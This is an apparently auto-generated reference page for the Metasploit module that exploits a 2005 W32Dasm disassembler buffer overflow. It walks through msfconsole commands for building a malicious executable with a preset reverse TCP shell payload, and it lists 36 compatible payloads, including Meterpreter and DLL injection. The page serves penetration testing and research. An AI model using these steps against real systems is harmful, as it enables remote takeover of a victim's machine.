URSoft W32Dasm Disassembler Function Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/windows/fileformat/ursoft_w32dasm metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: URSoft W32Dasm Disassembler Function Buffer Overflow
Module: exploit/windows/fileformat/ursoft_w32dasm
Source code: modules/exploits/windows/fileformat/ursoft_w32dasm.rb
Disclosure date: 2005-01-24
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: CVE-2005-0308
This module exploits a buffer overflow in W32Dasm <= v8.93. By creating a malicious file and convincing a user to disassemble the file with a vulnerable version of W32Dasm, the Imports/Exports function is copied to the stack and arbitrary code may be executed locally as the user.
Module Ranking and Traits
Module Ranking:
- good: The exploit has a default target and it is the "common case" for this type of software (English, Windows 7 for a desktop app, 2012 for server, etc). More information about ranking can be found here.
Basic Usage
msf > use exploit/windows/fileformat/ursoft_w32dasm
msf exploit(ursoft_w32dasm) > show targets
... a list of targets ...
msf exploit(ursoft_w32dasm) > set TARGET target-id
msf exploit(ursoft_w32dasm) > show options
... show and set options ...
msf exploit(ursoft_w32dasm) > exploit
Go back to menu.
Msfconsole Usage
Here is how the windows/fileformat/ursoft_w32dasm exploit module looks in the msfconsole:
msf6 > use exploit/windows/fileformat/ursoft_w32dasm
[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(windows/fileformat/ursoft_w32dasm) > show info
Name: URSoft W32Dasm Disassembler Function Buffer Overflow
Module: exploit/windows/fileformat/ursoft_w32dasm
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Good
Disclosed: 2005-01-24
Provided by:
aushack <[email protected]>
Available targets:
Id Name
-- ----
0 Windows XP SP0
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf-w32dasm.exe yes The file name.
Payload information:
Space: 256
Avoid: 1 characters
Description:
This module exploits a buffer overflow in W32Dasm <= v8.93. By
creating a malicious file and convincing a user to disassemble the
file with a vulnerable version of W32Dasm, the Imports/Exports
function is copied to the stack and arbitrary code may be executed
locally as the user.
References:
https://nvd.nist.gov/vuln/detail/CVE-2005-0308
OSVDB (13169)
http://www.securityfocus.com/bid/12352
http://aluigi.altervista.org/adv/w32dasmbof-adv.txt
Module Options
This is a complete list of options available in the windows/fileformat/ursoft_w32dasm exploit:
msf6 exploit(windows/fileformat/ursoft_w32dasm) > show options
Module options (exploit/windows/fileformat/ursoft_w32dasm):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf-w32dasm.exe yes The file name.
Payload options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Windows XP SP0
Advanced Options
Here is a complete list of advanced options supported by the windows/fileformat/ursoft_w32dasm exploit:
msf6 exploit(windows/fileformat/ursoft_w32dasm) > show advanced
Module advanced options (exploit/windows/fileformat/ursoft_w32dasm):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DisablePayloadHandler true no Disable the handler code for the selected payload
EnableContextEncoding false no Use transient context when encoding payloads
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 2 no Additional delay in seconds to wait for a session
Payload advanced options (generic/shell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
ARCH no The architecture that is being targeted
PLATFORM no The platform that is being targeted
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the windows/fileformat/ursoft_w32dasm module can exploit:
msf6 exploit(windows/fileformat/ursoft_w32dasm) > show targets
Exploit targets:
Id Name
-- ----
0 Windows XP SP0
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the windows/fileformat/ursoft_w32dasm exploit:
msf6 exploit(windows/fileformat/ursoft_w32dasm) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/debug_trap normal No Generic x86 Debug Trap
2 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
3 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
4 payload/generic/tight_loop normal No Generic x86 Tight Loop
5 payload/windows/dllinject/bind_nonx_tcp normal No Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
6 payload/windows/dllinject/reverse_nonx_tcp normal No Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
7 payload/windows/dllinject/reverse_ord_tcp normal No Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
8 payload/windows/exec normal No Windows Execute Command
9 payload/windows/loadlibrary normal No Windows LoadLibrary Path
10 payload/windows/meterpreter/bind_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
11 payload/windows/meterpreter/reverse_nonx_tcp normal No Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
12 payload/windows/meterpreter/reverse_ord_tcp normal No Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
13 payload/windows/metsvc_bind_tcp normal No Windows Meterpreter Service, Bind TCP
14 payload/windows/metsvc_reverse_tcp normal No Windows Meterpreter Service, Reverse TCP Inline
15 payload/windows/patchupdllinject/bind_nonx_tcp normal No Windows Inject DLL, Bind TCP Stager (No NX or Win7)
16 payload/windows/patchupdllinject/reverse_nonx_tcp normal No Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
17 payload/windows/patchupdllinject/reverse_ord_tcp normal No Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
18 payload/windows/patchupmeterpreter/bind_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Bind TCP Stager (No NX or Win7)
19 payload/windows/patchupmeterpreter/reverse_nonx_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse TCP Stager (No NX or Win7)
20 payload/windows/patchupmeterpreter/reverse_ord_tcp normal No Windows Meterpreter (skape/jt Injection), Reverse Ordinal TCP Stager (No NX or Win7)
21 payload/windows/peinject/bind_nonx_tcp normal No Windows Inject PE Files, Bind TCP Stager (No NX or Win7)
22 payload/windows/peinject/reverse_nonx_tcp normal No Windows Inject PE Files, Reverse TCP Stager (No NX or Win7)
23 payload/windows/peinject/reverse_ord_tcp normal No Windows Inject PE Files, Reverse Ordinal TCP Stager (No NX or Win7)
24 payload/windows/powershell_bind_tcp normal No Windows Interactive Powershell Session, Bind TCP
25 payload/windows/powershell_reverse_tcp normal No Windows Interactive Powershell Session, Reverse TCP
26 payload/windows/shell/bind_nonx_tcp normal No Windows Command Shell, Bind TCP Stager (No NX or Win7)
27 payload/windows/shell/reverse_nonx_tcp normal No Windows Command Shell, Reverse TCP Stager (No NX or Win7)
28 payload/windows/shell/reverse_ord_tcp normal No Windows Command Shell, Reverse Ordinal TCP Stager (No NX or Win7)
29 payload/windows/speak_pwned normal No Windows Speech API - Say "You Got Pwned!"
30 payload/windows/upexec/bind_nonx_tcp normal No Windows Upload/Execute, Bind TCP Stager (No NX or Win7)
31 payload/windows/upexec/reverse_nonx_tcp normal No Windows Upload/Execute, Reverse TCP Stager (No NX or Win7)
32 payload/windows/upexec/reverse_ord_tcp normal No Windows Upload/Execute, Reverse Ordinal TCP Stager (No NX or Win7)
33 payload/windows/vncinject/bind_nonx_tcp normal No VNC Server (Reflective Injection), Bind TCP Stager (No NX or Win7)
34 payload/windows/vncinject/reverse_nonx_tcp normal No VNC Server (Reflective Injection), Reverse TCP Stager (No NX or Win7)
35 payload/windows/vncinject/reverse_ord_tcp normal No VNC Server (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
Evasion Options
Here is the full list of possible evasion options supported by the windows/fileformat/ursoft_w32dasm exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/fileformat/ursoft_w32dasm) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #12832 Merged Pull Request: DisablePayloadHandler replace strings with bools
- #9189 Merged Pull Request: Change author name to nick.
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #2525 Merged Pull Request: Change module boilerplate
- #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
References
Authors
- aushack
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
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